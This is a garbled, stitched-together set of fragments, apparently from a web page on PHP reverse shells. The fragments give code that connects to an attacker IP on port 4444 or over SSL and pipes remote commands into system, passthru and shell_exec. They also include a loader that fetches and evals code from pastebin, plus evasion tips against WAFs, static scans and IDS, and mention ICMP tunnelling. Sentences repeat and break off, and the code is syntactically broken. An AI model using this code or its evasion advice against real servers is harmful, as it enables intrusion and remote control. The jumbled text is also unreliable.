elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n");
elseif (function_exists('passthru')) while ($cmd = fgets($sock)) ob_start(); passthru($cmd); fwrite($sock, ob_get_clean() . "\n");
$context = stream_context_create(['ssl' => ['verify_peer' => false]]); $sock = stream_socket_client('ssl://192.168.1.100:443', $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context); Some networks block arbitrary TCP ports but allow ICMP (ping). An advanced reverse shell can encode commands in ICMP packets using tools like icmpsh or custom PHP scripts. 3. Short Obfuscation (Bypassing <?php detection) Some WAFs block scripts starting with <?php . Attackers use tags like <?= (short echo) or JavaScript-like obfuscation: Reverse Shell Php
<?php $code = file_get_contents('https://pastebin.com/raw/xyz123'); eval($code); ?> This bypasses static file scans. To avoid triggering IDS thresholds, attackers introduce delays:
while (true) $cmd = fgets($sock); if ($cmd) $output = shell_exec($cmd); fwrite($sock, $output); sleep(2); // Polite interrupt An advanced reverse shell can encode commands in
<?php // Attacker's IP and listening port $ip = '192.168.1.100'; $port = 4444; // Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30);
// Try every command execution method if (function_exists('shell_exec')) while ($cmd = fgets($sock)) fwrite($sock, shell_exec($cmd) . "\n"); Attackers use tags like <
// Spawn a shell process $descriptorspec = [ 0 => $sock, // stdin 1 => $sock, // stdout 2 => $sock // stderr ];